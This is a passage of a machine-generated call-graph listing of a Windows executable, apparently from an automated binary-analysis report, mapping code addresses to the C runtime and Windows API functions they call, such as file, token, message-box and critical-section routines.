16981->16995 16984 7ff79d06b240 FlsSetValue 16982->16984 16985 7ff79d06b230 FlsSetValue 16982->16985 16988 7ff79d06b292 16983->16988 16986 7ff79d06b25e 16984->16986 16987 7ff79d06b24c FlsSetValue 16984->16987 16989 7ff79d06b239 16985->16989 16990 7ff79d06af64 _set_fmode 11 API calls 16986->16990 16987->16989 16991 7ff79d06a9b8 __free_lconv_num 11 API calls 16989->16991 16992 7ff79d06b266 16990->16992 16991->16993 16994 7ff79d06a9b8 __free_lconv_num 11 API calls 16992->16994 16993->16978 16994->16978 16997 7ff79d06b1c0 __FrameHandler3::FrameUnwindToEmptyState 45 API calls 16996->16997 16998 7ff79d0726c9 16997->16998 17005 7ff79d076df8 16999->17005 17004 7ff79d06f919 MultiByteToWideChar 17002->17004 17008 7ff79d076e5c 17005->17008 17006 7ff79d05c5c0 _log10_special 8 API calls 17007 7ff79d07012d 17006->17007 17007->16792 17008->17006 17010 7ff79d06106d 17009->17010 17011 7ff79d06107f 17009->17011 17012 7ff79d064f78 _set_fmode 11 API calls 17010->17012 17014 7ff79d06108d 17011->17014 17017 7ff79d0610c9 17011->17017 17013 7ff79d061072 17012->17013 17015 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17013->17015 17016 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17014->17016 17021 7ff79d06107d 17015->17021 17016->17021 17018 7ff79d061445 17017->17018 17020 7ff79d064f78 _set_fmode 11 API calls 17017->17020 17019 7ff79d064f78 _set_fmode 11 API calls 17018->17019 17018->17021 17022 7ff79d0616d9 17019->17022 17023 7ff79d06143a 17020->17023 17021->16655 17024 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17022->17024 17025 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17023->17025 17024->17021 17025->17018 17027 7ff79d060774 17026->17027 17054 7ff79d0604d4 17027->17054 17029 7ff79d06078d 17029->16191 17066 7ff79d06042c 17030->17066 17034 7ff79d05c8c0 17033->17034 17035 7ff79d052930 GetCurrentProcessId 17034->17035 17036 7ff79d051c80 49 API calls 17035->17036 17037 7ff79d052979 17036->17037 17080 7ff79d0649f4 17037->17080 17042 7ff79d051c80 49 API calls 17043 7ff79d0529ff 17042->17043 17110 7ff79d052620 17043->17110 17046 7ff79d05c5c0 _log10_special 8 API calls 17047 7ff79d052a31 17046->17047 17047->16230 17049 7ff79d051b89 17048->17049 17050 7ff79d060189 17048->17050 17049->16229 17049->16230 17051 7ff79d064f78 _set_fmode 11 API calls 17050->17051 17052 7ff79d06018e 17051->17052 17053 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17052->17053 17053->17049 17055 7ff79d06053e 17054->17055 17056 7ff79d0604fe 17054->17056 17055->17056 17058 7ff79d06054a 17055->17058 17057 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17056->17057 17059 7ff79d060525 17057->17059 17065 7ff79d0654dc EnterCriticalSection 17058->17065 17059->17029 17067 7ff79d060456 17066->17067 17068 7ff79d051a20 17066->17068 17067->17068 17069 7ff79d060465 memcpy_s 17067->17069 17070 7ff79d0604a2 17067->17070 17068->16199 17068->16200 17073 7ff79d064f78 _set_fmode 11 API calls 17069->17073 17079 7ff79d0654dc EnterCriticalSection 17070->17079 17074 7ff79d06047a 17073->17074 17076 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17074->17076 17076->17068 17082 7ff79d064a4e 17080->17082 17081 7ff79d064a73 17083 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17081->17083 17082->17081 17084 7ff79d064aaf 17082->17084 17086 7ff79d064a9d 17083->17086 17119 7ff79d062c80 17084->17119 17088 7ff79d05c5c0 _log10_special 8 API calls 17086->17088 17087 7ff79d064b8c 17089 7ff79d06a9b8 __free_lconv_num 11 API calls 17087->17089 17090 7ff79d0529c3 17088->17090 17089->17086 17098 7ff79d0651d0 17090->17098 17092 7ff79d064bb0 17092->17087 17094 7ff79d064bba 17092->17094 17093 7ff79d064b61 17095 7ff79d06a9b8 __free_lconv_num 11 API calls 17093->17095 17097 7ff79d06a9b8 __free_lconv_num 11 API calls 17094->17097 17095->17086 17096 7ff79d064b58 17096->17087 17096->17093 17097->17086 17099 7ff79d06b338 _set_fmode 11 API calls 17098->17099 17101 7ff79d0651e7 17099->17101 17100 7ff79d0529e5 17100->17042 17101->17100 17102 7ff79d06ec08 _set_fmode 11 API calls 17101->17102 17104 7ff79d065227 17101->17104 17103 7ff79d06521c 17102->17103 17105 7ff79d06a9b8 __free_lconv_num 11 API calls 17103->17105 17104->17100 17257 7ff79d06ec90 17104->17257 17105->17104 17108 7ff79d06a970 _isindst 17 API calls 17109 7ff79d06526c 17108->17109 17111 7ff79d05262f 17110->17111 17112 7ff79d059400 2 API calls 17111->17112 17113 7ff79d052660 17112->17113 17114 7ff79d052683 MessageBoxA 17113->17114 17115 7ff79d05266f MessageBoxW 17113->17115 17116 7ff79d052690 17114->17116 17115->17116 17117 7ff79d05c5c0 _log10_special 8 API calls 17116->17117 17118 7ff79d0526a0 17117->17118 17118->17046 17120 7ff79d062cbe 17119->17120 17121 7ff79d062cae 17119->17121 17122 7ff79d062cc7 17120->17122 17129 7ff79d062cf5 17120->17129 17124 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17121->17124 17125 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17122->17125 17123 7ff79d062ced 17123->17087 17123->17092 17123->17093 17123->17096 17124->17123 17125->17123 17126 7ff79d064830 45 API calls 17126->17129 17128 7ff79d062fa4 17131 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17128->17131 17129->17121 17129->17123 17129->17126 17129->17128 17133 7ff79d063610 17129->17133 17159 7ff79d0632d8 17129->17159 17189 7ff79d062b60 17129->17189 17131->17121 17134 7ff79d0636c5 17133->17134 17135 7ff79d063652 17133->17135 17138 7ff79d0636ca 17134->17138 17139 7ff79d06371f 17134->17139 17136 7ff79d063658 17135->17136 17137 7ff79d0636ef 17135->17137 17145 7ff79d06365d 17136->17145 17148 7ff79d06372e 17136->17148 17206 7ff79d061bc0 17137->17206 17140 7ff79d0636cc 17138->17140 17141 7ff79d0636ff 17138->17141 17139->17137 17139->17148 17157 7ff79d063688 17139->17157 17143 7ff79d06366d 17140->17143 17147 7ff79d0636db 17140->17147 17213 7ff79d0617b0 17141->17213 17158 7ff79d06375d 17143->17158 17192 7ff79d063f74 17143->17192 17145->17143 17149 7ff79d0636a0 17145->17149 17145->17157 17147->17137 17151 7ff79d0636e0 17147->17151 17148->17158 17220 7ff79d061fd0 17148->17220 17149->17158 17202 7ff79d064430 17149->17202 17154 7ff79d0645c8 37 API calls 17151->17154 17151->17158 17153 7ff79d05c5c0 _log10_special 8 API calls 17155 7ff79d0639f3 17153->17155 17154->17157 17155->17129 17157->17158 17227 7ff79d06e8c8 17157->17227 17158->17153 17160 7ff79d0632f9 17159->17160 17161 7ff79d0632e3 17159->17161 17162 7ff79d063337 17160->17162 17163 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17160->17163 17161->17162 17164 7ff79d0636c5 17161->17164 17165 7ff79d063652 17161->17165 17162->17129 17163->17162 17168 7ff79d0636ca 17164->17168 17169 7ff79d06371f 17164->17169 17166 7ff79d063658 17165->17166 17167 7ff79d0636ef 17165->17167 17175 7ff79d06365d 17166->17175 17176 7ff79d06372e 17166->17176 17172 7ff79d061bc0 38 API calls 17167->17172 17170 7ff79d0636cc 17168->17170 17171 7ff79d0636ff 17168->17171 17169->17167 17169->17176 17187 7ff79d063688 17169->17187 17177 7ff79d0636db 17170->17177 17178 7ff79d06366d 17170->17178 17173 7ff79d0617b0 38 API calls 17171->17173 17172->17187 17173->17187 17174 7ff79d063f74 47 API calls 17174->17187 17175->17178 17179 7ff79d0636a0 17175->17179 17175->17187 17180 7ff79d061fd0 38 API calls 17176->17180 17188 7ff79d06375d 17176->17188 17177->17167 17181 7ff79d0636e0 17177->17181 17178->17174 17178->17188 17182 7ff79d064430 47 API calls 17179->17182 17179->17188 17180->17187 17184 7ff79d0645c8 37 API calls 17181->17184 17181->17188 17182->17187 17183 7ff79d05c5c0 _log10_special 8 API calls 17185 7ff79d0639f3 17183->17185 17184->17187 17185->17129 17186 7ff79d06e8c8 47 API calls 17186->17187 17187->17186 17187->17188 17188->17183 17240 7ff79d060d84 17189->17240 17193 7ff79d063f96 17192->17193 17194 7ff79d060bf0 12 API calls 17193->17194 17195 7ff79d063fde 17194->17195 17196 7ff79d06e5e0 46 API calls 17195->17196 17197 7ff79d0640b1 17196->17197 17198 7ff79d064830 45 API calls 17197->17198 17199 7ff79d0640d3 17197->17199 17198->17199 17199->17199 17200 7ff79d064830 45 API calls 17199->17200 17201 7ff79d06415c 17199->17201 17200->17201 17201->17157 17203 7ff79d064448 17202->17203 17205 7ff79d0644b0 17202->17205 17204 7ff79d06e8c8 47 API calls 17203->17204 17203->17205 17204->17205 17205->17157 17207 7ff79d061bf3 17206->17207 17208 7ff79d061c22 17207->17208 17211 7ff79d061cdf 17207->17211 17209 7ff79d061c5f 17208->17209 17210 7ff79d060bf0 12 API calls 17208->17210 17209->17157 17210->17209 17212 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17211->17212 17212->17209 17214 7ff79d0617e3 17213->17214 17215 7ff79d061812 17214->17215 17217 7ff79d0618cf 17214->17217 17216 7ff79d060bf0 12 API calls 17215->17216 17219 7ff79d06184f 17215->17219 17216->17219 17218 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17217->17218 17218->17219 17219->17157 17221 7ff79d062003 17220->17221 17222 7ff79d062032 17221->17222 17225 7ff79d0620ef 17221->17225 17223 7ff79d06206f 17222->17223 17224 7ff79d060bf0 12 API calls 17222->17224 17223->17157 17224->17223 17226 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17225->17226 17226->17223 17228 7ff79d06e8f0 17227->17228 17230 7ff79d064830 45 API calls 17228->17230 17231 7ff79d06e935 17228->17231 17233 7ff79d06e8f5 memcpy_s 17228->17233 17235 7ff79d06e91e memcpy_s 17228->17235 17229 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17229->17233 17230->17231 17231->17233 17231->17235 17237 7ff79d070858 17231->17237 17233->17157 17235->17229 17235->17233 17239 7ff79d07087c WideCharToMultiByte 17237->17239 17241 7ff79d060dc3 17240->17241 17242 7ff79d060db1 17240->17242 17244 7ff79d060dd0 17241->17244 17249 7ff79d060e0d 17241->17249 17243 7ff79d064f78 _set_fmode 11 API calls 17242->17243 17245 7ff79d060db6 17243->17245 17246 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 17244->17246 17247 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17245->17247 17254 7ff79d060dc1 17246->17254 17247->17254 17248 7ff79d060eb6 17251 7ff79d064f78 _set_fmode 11 API calls 17248->17251 17248->17254 17249->17248 17250 7ff79d064f78 _set_fmode 11 API calls 17249->17250 17252 7ff79d060eab 17250->17252 17253 7ff79d060f60 17251->17253 17255 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17252->17255 17256 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17253->17256 17254->17129 17255->17248 17256->17254 17261 7ff79d06ecad 17257->17261 17258 7ff79d06ecb2 17259 7ff79d06524d 17258->17259 17260 7ff79d064f78 _set_fmode 11 API calls 17258->17260 17259->17100 17259->17108 17262 7ff79d06ecbc 17260->17262 17261->17258 17261->17259 17264 7ff79d06ecfc 17261->17264 17263 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17262->17263 17263->17259 17264->17259 17265 7ff79d064f78 _set_fmode 11 API calls 17264->17265 17265->17262 17267 7ff79d058823 __std_exception_destroy 17266->17267 17268 7ff79d0587a1 GetTokenInformation 17266->17268 17270 7ff79d05883c 17267->17270 17271 7ff79d058836 CloseHandle 17267->17271 17269 7ff79d0587c2 GetLastError 17268->17269 17272 7ff79d0587cd 17268->17272 17269->17267 17269->17272 17270->16248 17271->17270 17272->17267 17273 7ff79d0587e9 GetTokenInformation 17272->17273 17273->17267 17274 7ff79d05880c 17273->17274 17274->17267 17275 7ff79d058816 ConvertSidToStringSidW 17274->17275 17275->17267 17277 7ff79d05c8c0 17276->17277 17278 7ff79d052b74 GetCurrentProcessId 17277->17278 17279 7ff79d0526b0 48 API calls 17278->17279 17280 7ff79d052bc7 17279->17280 17281 7ff79d064c48 48 API calls 17280->17281 17282 7ff79d052c10 MessageBoxW 17281->17282 17283 7ff79d05c5c0 _log10_special 8 API calls 17282->17283 17284 7ff79d052c40 17283->17284 17284->16258 17286 7ff79d0525e5 17285->17286 17287 7ff79d064c48 48 API calls 17286->17287 17288 7ff79d052604 17287->17288 17288->16267 17334 7ff79d068804 17289->17334 17293 7ff79d0581cc 17292->17293 17294 7ff79d059400 2 API calls 17293->17294 17295 7ff79d0581eb 17294->17295 17296 7ff79d0581f3 17295->17296 17297 7ff79d058206 ExpandEnvironmentStringsW 17295->17297 17298 7ff79d052810 49 API calls 17296->17298 17299 7ff79d05822c __std_exception_destroy 17297->17299 17300 7ff79d0581ff __std_exception_destroy 17298->17300 17301 7ff79d058243 17299->17301 17302 7ff79d058230 17299->17302 17303 7ff79d05c5c0 _log10_special 8 API calls 17300->17303 17306 7ff79d0582af 17301->17306 17308 7ff79d058251 GetDriveTypeW 17301->17308 17304 7ff79d052810 49 API calls 17302->17304 17304->17300 17375 7ff79d0715c8 17334->17375 17434 7ff79d071340 17375->17434 17582 7ff79d05455a 17581->17582 17583 7ff79d059400 2 API calls 17582->17583 17584 7ff79d05457f 17583->17584 17585 7ff79d05c5c0 _log10_special 8 API calls 17584->17585 17586 7ff79d0545a7 17585->17586 17586->16311 17588 7ff79d057e1e 17587->17588 17589 7ff79d051c80 49 API calls 17588->17589 17593 7ff79d057f42 17588->17593 17591 7ff79d057ea5 17589->17591 17590 7ff79d05c5c0 _log10_special 8 API calls 17592 7ff79d057f73 17590->17592 17591->17593 17594 7ff79d051c80 49 API calls 17591->17594 17595 7ff79d054550 10 API calls 17591->17595 17596 7ff79d057efb 17591->17596 17592->16311 17593->17590 17594->17591 17595->17591 17597 7ff79d059400 2 API calls 17596->17597 17598 7ff79d057f13 CreateDirectoryW 17597->17598 17598->17591 17598->17593 17600 7ff79d051637 17599->17600 17601 7ff79d051613 17599->17601 17603 7ff79d0545b0 108 API calls 17600->17603 17720 7ff79d051050 17601->17720 17605 7ff79d05164b 17603->17605 17604 7ff79d051618 17606 7ff79d05162e 17604->17606 17611 7ff79d052710 54 API calls 17604->17611 17607 7ff79d051653 17605->17607 17608 7ff79d051682 17605->17608 17606->16311 17609 7ff79d064f78 _set_fmode 11 API calls 17607->17609 17610 7ff79d0545b0 108 API calls 17608->17610 17612 7ff79d051658 17609->17612 17613 7ff79d051696 17610->17613 17611->17606 17614 7ff79d052910 54 API calls 17612->17614 17615 7ff79d05169e 17613->17615 17616 7ff79d0516b8 17613->17616 17617 7ff79d051671 17614->17617 17618 7ff79d052710 54 API calls 17615->17618 17619 7ff79d060744 73 API calls 17616->17619 17617->16311 17620 7ff79d0516ae 17618->17620 17621 7ff79d0516cd 17619->17621 17626 7ff79d0600bc 74 API calls 17620->17626 17622 7ff79d0516f9 17621->17622 17623 7ff79d0516d1 17621->17623 17648 7ff79d05717b 17647->17648 17650 7ff79d057134 17647->17650 17648->16311 17650->17648 17784 7ff79d065094 17650->17784 17652 7ff79d054191 17651->17652 17653 7ff79d0544d0 49 API calls 17652->17653 17654 7ff79d0541cb 17653->17654 17655 7ff79d0544d0 49 API calls 17654->17655 17656 7ff79d0541db 17655->17656 17657 7ff79d05422c 17656->17657 17658 7ff79d0541fd 17656->17658 17660 7ff79d054100 51 API calls 17657->17660 17815 7ff79d054100 17658->17815 17661 7ff79d05422a 17660->17661 17662 7ff79d05428c 17661->17662 17663 7ff79d054257 17661->17663 17696 7ff79d051c80 49 API calls 17695->17696 17697 7ff79d054464 17696->17697 17697->16311 17721 7ff79d0545b0 108 API calls 17720->17721 17722 7ff79d05108c 17721->17722 17723 7ff79d0510a9 17722->17723 17724 7ff79d051094 17722->17724 17726 7ff79d060744 73 API calls 17723->17726 17725 7ff79d052710 54 API calls 17724->17725 17748 7ff79d0510a4 __std_exception_destroy 17725->17748 17727 7ff79d0510bf 17726->17727 17728 7ff79d0510c3 17727->17728 17729 7ff79d0510e6 17727->17729 17730 7ff79d064f78 _set_fmode 11 API calls 17728->17730 17732 7ff79d0510f7 17729->17732 17733 7ff79d051122 17729->17733 17731 7ff79d0510c8 17730->17731 17735 7ff79d064f78 _set_fmode 11 API calls 17732->17735 17736 7ff79d051129 17733->17736 17744 7ff79d05113c 17733->17744 17748->17604 17785 7ff79d0650ce 17784->17785 17786 7ff79d0650a1 17784->17786 17789 7ff79d0650f1 17785->17789 17792 7ff79d06510d 17785->17792 17787 7ff79d064f78 _set_fmode 11 API calls 17786->17787 17788 7ff79d065058 17786->17788 17790 7ff79d0650ab 17787->17790 17788->17650 17791 7ff79d064f78 _set_fmode 11 API calls 17789->17791 17794 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17790->17794 17795 7ff79d0650f6 17791->17795 17799 7ff79d064fbc 17792->17799 17796 7ff79d0650b6 17794->17796 17797 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17795->17797 17796->17650 17798 7ff79d065101 17797->17798 17798->17650 17800 7ff79d064fdb 17799->17800 17801 7ff79d064fe0 17799->17801 17800->17798 17801->17800 17802 7ff79d06b1c0 __FrameHandler3::FrameUnwindToEmptyState 45 API calls 17801->17802 17803 7ff79d064ffb 17802->17803 17807 7ff79d06d9f4 17803->17807 17808 7ff79d06da09 17807->17808 17809 7ff79d06501e 17807->17809 17808->17809 17816 7ff79d054126 17815->17816 17817 7ff79d0649f4 49 API calls 17816->17817 17879 7ff79d065f38 17878->17879 17880 7ff79d065f5e 17879->17880 17882 7ff79d065f91 17879->17882 17881 7ff79d064f78 _set_fmode 11 API calls 17880->17881 17883 7ff79d065f63 17881->17883 17884 7ff79d065f97 17882->17884 17885 7ff79d065fa4 17882->17885 17886 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 17883->17886 17887 7ff79d064f78 _set_fmode 11 API calls 17884->17887 17897 7ff79d06ac98 17885->17897 17889 7ff79d054606 17886->17889 17887->17889 17889->16336 17910 7ff79d070348 EnterCriticalSection 17897->17910 18270 7ff79d067968 18269->18270 18273 7ff79d067444 18270->18273 18272 7ff79d067981 18272->16344 18274 7ff79d06748e 18273->18274 18275 7ff79d06745f 18273->18275 18283 7ff79d0654dc EnterCriticalSection 18274->18283 18276 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 18275->18276 18278 7ff79d06747f 18276->18278 18278->18272 18285 7ff79d05feb3 18284->18285 18287 7ff79d05fee1 18284->18287 18286 7ff79d06a884 _invalid_parameter_noinfo 37 API calls 18285->18286 18288 7ff79d05fed3 18286->18288 18287->18288 18294 7ff79d0654dc EnterCriticalSection 18287->18294 18288->16350 18296 7ff79d05cb62 RtlLookupFunctionEntry 18295->18296 18297 7ff79d05cb78 RtlVirtualUnwind 18296->18297 18298 7ff79d05c97b 18296->18298 18297->18296 18297->18298 18299 7ff79d05c910 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 18298->18299 18301 7ff79d0545b0 108 API calls 18300->18301 18302 7ff79d051493 18301->18302 18303 7ff79d05149b 18302->18303 18304 7ff79d0514bc 18302->18304 18305 7ff79d052710 54 API calls 18303->18305 18306 7ff79d060744 73 API calls 18304->18306 18307 7ff79d0514ab 18305->18307 18308 7ff79d0514d1 18306->18308 18307->16392 18309 7ff79d0514f8 18308->18309 18310 7ff79d0514d5 18308->18310 18407 7ff79d056365 18406->18407 18408 7ff79d051c80 49 API calls 18407->18408 18409 7ff79d0563a1 18408->18409 18410 7ff79d0563cd 18409->18410 18411 7ff79d0563aa 18409->18411 18413 7ff79d054620 49 API calls 18410->18413 18412 7ff79d052710 54 API calls 18411->18412 18436 7ff79d0563c3 18412->18436 18414 7ff79d0563e5 18413->18414 18415 7ff79d056403 18414->18415 18416 7ff79d052710 54 API calls 18414->18416 18417 7ff79d054550 10 API calls 18415->18417 18416->18415 18419 7ff79d05640d 18417->18419 18418 7ff79d05c5c0 _log10_special 8 API calls 18420 7ff79d05336e 18418->18420 18421 7ff79d05641b 18419->18421 18422 7ff79d059070 3 API calls 18419->18422 18420->16466 18437 7ff79d0564f0 18420->18437 18422->18421 18436->18418 18586 7ff79d0553f0 18437->18586 18696 7ff79d06b1c0 __FrameHandler3::FrameUnwindToEmptyState 45 API calls 18695->18696 18697 7ff79d06a451 18696->18697 18700 7ff79d06a574 18697->18700 18709 7ff79d0736c0 18700->18709 18735 7ff79d073678 18709->18735 18740 7ff79d070348 EnterCriticalSection 18735->18740 18744 7ff79d065698 18745 7ff79d0656cf 18744->18745 18746 7ff79d0656b2 18744->18746 18745->18746 18748 7ff79d0656e2 CreateFileW 18745->18748 18747 7ff79d064f58 _fread_nolock 11 API calls 18746->18747 18749 7ff79d0656b7 18747->18749 18750 7ff79d06574c 18748->18750 18751 7ff79d065716 18748->18751 18754 7ff79d064f78 _set_fmode 11 API calls 18749->18754 18795 7ff79d065c74 18750->18795 18769 7ff79d0657ec GetFileType 18751->18769 18757 7ff79d0656bf 18754->18757 18762 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 18757->18762 18758 7ff79d06572b CloseHandle 18763 7ff79d0656ca 18758->18763 18759 7ff79d065741 CloseHandle 18759->18763 18760 7ff79d065755 18764 7ff79d064eec _fread_nolock 11 API calls 18760->18764 18761 7ff79d065780 18816 7ff79d065a34 18761->18816 18762->18763 18768 7ff79d06575f 18764->18768 18768->18763 18770 7ff79d0658f7 18769->18770 18771 7ff79d06583a 18769->18771 18772 7ff79d0658ff 18770->18772 18773 7ff79d065921 18770->18773 18774 7ff79d065866 GetFileInformationByHandle 18771->18774 18779 7ff79d065b70 21 API calls 18771->18779 18775 7ff79d065903 18772->18775 18776 7ff79d065912 GetLastError 18772->18776 18778 7ff79d065944 PeekNamedPipe 18773->18778 18793 7ff79d0658e2 18773->18793 18774->18776 18777 7ff79d06588f 18774->18777 18781 7ff79d064f78 _set_fmode 11 API calls 18775->18781 18783 7ff79d064eec _fread_nolock 11 API calls 18776->18783 18782 7ff79d065a34 51 API calls 18777->18782 18778->18793 18780 7ff79d065854 18779->18780 18780->18774 18780->18793 18781->18793 18784 7ff79d06589a 18782->18784 18783->18793 18833 7ff79d065994 18784->18833 18785 7ff79d05c5c0 _log10_special 8 API calls 18786 7ff79d065724 18785->18786 18786->18758 18786->18759 18789 7ff79d065994 10 API calls 18790 7ff79d0658b9 18789->18790 18791 7ff79d065994 10 API calls 18790->18791 18792 7ff79d0658ca 18791->18792 18792->18793 18794 7ff79d064f78 _set_fmode 11 API calls 18792->18794 18793->18785 18794->18793 18796 7ff79d065caa 18795->18796 18797 7ff79d064f78 _set_fmode 11 API calls 18796->18797 18815 7ff79d065d42 __std_exception_destroy 18796->18815 18799 7ff79d065cbc 18797->18799 18798 7ff79d05c5c0 _log10_special 8 API calls 18800 7ff79d065751 18798->18800 18801 7ff79d064f78 _set_fmode 11 API calls 18799->18801 18800->18760 18800->18761 18802 7ff79d065cc4 18801->18802 18803 7ff79d067e78 45 API calls 18802->18803 18804 7ff79d065cd9 18803->18804 18805 7ff79d065ceb 18804->18805 18806 7ff79d065ce1 18804->18806 18808 7ff79d064f78 _set_fmode 11 API calls 18805->18808 18807 7ff79d064f78 _set_fmode 11 API calls 18806->18807 18812 7ff79d065ce6 18807->18812 18809 7ff79d065cf0 18808->18809 18810 7ff79d064f78 _set_fmode 11 API calls 18809->18810 18809->18815 18811 7ff79d065cfa 18810->18811 18814 7ff79d067e78 45 API calls 18811->18814 18813 7ff79d065d34 GetDriveTypeW 18812->18813 18812->18815 18813->18815 18814->18812 18815->18798 18818 7ff79d065a5c 18816->18818 18817 7ff79d06578d 18826 7ff79d065b70 18817->18826 18818->18817 18840 7ff79d06f794 18818->18840 18820 7ff79d065af0 18820->18817 18821 7ff79d06f794 51 API calls 18820->18821 18822 7ff79d065b03 18821->18822 18822->18817 18823 7ff79d06f794 51 API calls 18822->18823 18824 7ff79d065b16 18823->18824 18824->18817 18825 7ff79d06f794 51 API calls 18824->18825 18825->18817 18827 7ff79d065b8a 18826->18827 18828 7ff79d065b9a 18827->18828 18829 7ff79d065bc1 18827->18829 18830 7ff79d065baa 18828->18830 18832 7ff79d064eec _fread_nolock 11 API calls 18828->18832 18831 7ff79d06f628 21 API calls 18829->18831 18830->18768 18831->18830 18832->18830 18834 7ff79d0659bd FileTimeToSystemTime 18833->18834 18835 7ff79d0659b0 18833->18835 18836 7ff79d0659d1 SystemTimeToTzSpecificLocalTime 18834->18836 18837 7ff79d0659b8 18834->18837 18835->18834 18835->18837 18836->18837 18838 7ff79d05c5c0 _log10_special 8 API calls 18837->18838 18839 7ff79d0658a9 18838->18839 18839->18789 18841 7ff79d06f7c5 18840->18841 18842 7ff79d06f7a1 18840->18842 18844 7ff79d06f7ff 18841->18844 18847 7ff79d06f81e 18841->18847 18842->18841 18843 7ff79d06f7a6 18842->18843 18845 7ff79d064f78 _set_fmode 11 API calls 18843->18845 18846 7ff79d064f78 _set_fmode 11 API calls 18844->18846 18848 7ff79d06f7ab 18845->18848 18849 7ff79d06f804 18846->18849 18850 7ff79d064fbc 45 API calls 18847->18850 18851 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 18848->18851 18852 7ff79d06a950 _invalid_parameter_noinfo 37 API calls 18849->18852 18853 7ff79d06f82b 18850->18853 18854 7ff79d06f7b6 18851->18854 18855 7ff79d06f80f 18852->18855 18853->18855 18856 7ff79d07054c 51 API calls 18853->18856 18854->18820 18855->18820 18856->18853 20314 7ff79d071720 20325 7ff79d077454 20314->20325 20327 7ff79d077461 20325->20327 20326 7ff79d06a9b8 __free_lconv_num 11 API calls 20326->20327 20327->20326 20328 7ff79d07747d 20327->20328 20329 7ff79d06a9b8 __free_lconv_num 11 API calls 20328->20329 20330 7ff79d071729 20328->20330 20329->20328 20331 7ff79d070348 EnterCriticalSection 20330->20331 19615 7ff79d07ac53 19616 7ff79d07ac63 19615->19616 19619 7ff79d0654e8 LeaveCriticalSection 19616->19619 19495 7ff79d05bb50 19496 7ff79d05bb7e 19495->19496 19497 7ff79d05bb65 19495->19497 19497->19496 19499 7ff79d06d66c 12 API calls 19497->19499 19498 7ff79d05bbde 19499->19498 19500 7ff79d0699d1 19501 7ff79d06a448 45 API calls 19500->19501 19502 7ff79d0699d6 19501->19502 19503 7ff79d0699fd GetModuleHandleW 19502->19503 19504 7ff79d069a47 19502->19504 19503->19504 19510 7ff79d069a0a 19503->19510 19512 7ff79d0698d4 19504->19512 19510->19504 19526 7ff79d069af8 GetModuleHandleExW 19510->19526 19532 7ff79d070348 EnterCriticalSection 19512->19532 19527 7ff79d069b2c GetProcAddress 19526->19527 19528 7ff79d069b55 19526->19528 19529 7ff79d069b3e 19527->19529 19530 7ff79d069b5a FreeLibrary 19528->19530 19531 7ff79d069b61 19528->19531 19529->19528 19530->19531 19531->19504 18857 7ff79d070938 18858 7ff79d07095c 18857->18858 18862 7ff79d07096c 18857->18862 18859 7ff79d064f78 _set_fmode 11 API calls 18858->18859 18860 7ff79d070961 18859->18860 18861 7ff79d070c4c 18864 7ff79d064f78 _set_fmode 11 API calls 18861->18864 18862->18861 18863 7ff79d07098e 18862->18863 18865 7ff79d0709af 18863->18865 18988 7ff79d070ff4 18863->18988 18866 7ff79d070c51 18864->18866 18869 7ff79d070a21 18865->18869 18870 7ff79d0709d5 18865->18870 18875 7ff79d070a15 18865->18875 18868 7ff79d06a9b8 __free_lconv_num 11 API calls 18866->18868 18868->18860 18872 7ff79d06ec08 _set_fmode 11 API calls 18869->18872 18886 7ff79d0709e4 18869->18886 19003 7ff79d069730 18870->19003 18871 7ff79d070ace 18882 7ff79d070aeb 18871->18882 18887 7ff79d070b3d 18871->18887 18876 7ff79d070a37 18872->18876 18875->18871 18875->18886 19009 7ff79d07719c 18875->19009 18879 7ff79d06a9b8 __free_lconv_num 11 API calls 18876->18879 18878 7ff79d06a9b8 __free_lconv_num 11 API calls 18878->18860 18883 7ff79d070a45 18879->18883 18880 7ff79d0709fd 18880->18875 18889 7ff79d070ff4 45 API calls 18880->18889 18881 7ff79d0709df 18884 7ff79d064f78 _set_fmode 11 API calls 18881->18884 18885 7ff79d06a9b8 __free_lconv_num 11 API calls 18882->18885 18883->18875 18883->18886 18891 7ff79d06ec08 _set_fmode 11 API calls 18883->18891 18884->18886 18888 7ff79d070af4 18885->18888 18886->18878 18887->18886 18890 7ff79d07344c 40 API calls 18887->18890 18896 7ff79d070af9 18888->18896 19045 7ff79d07344c 18888->19045 18889->18875 18892 7ff79d070b7a 18890->18892 18893 7ff79d070a67 18891->18893 18894 7ff79d06a9b8 __free_lconv_num 11 API calls 18892->18894 18899 7ff79d06a9b8 __free_lconv_num 11 API calls 18893->18899 18900 7ff79d070b84 18894->18900 18897 7ff79d070c40 18896->18897 18903 7ff79d06ec08 _set_fmode 11 API calls 18896->18903 18902 7ff79d06a9b8 __free_lconv_num 11 API calls 18897->18902 18898 7ff79d070b25 18901 7ff79d06a9b8 __free_lconv_num 11 API calls 18898->18901 18899->18875 18900->18886 18900->18896 18901->18896 18902->18860 18904 7ff79d070bc8 18903->18904 18905 7ff79d070bd9 18904->18905 18906 7ff79d070bd0 18904->18906 18908 7ff79d06a514 __std_exception_copy 37 API calls 18905->18908 18907 7ff79d06a9b8 __free_lconv_num 11 API calls 18906->18907 18909 7ff79d070bd7 18907->18909 18910 7ff79d070be8 18908->18910 18914 7ff79d06a9b8 __free_lconv_num 11 API calls 18909->18914 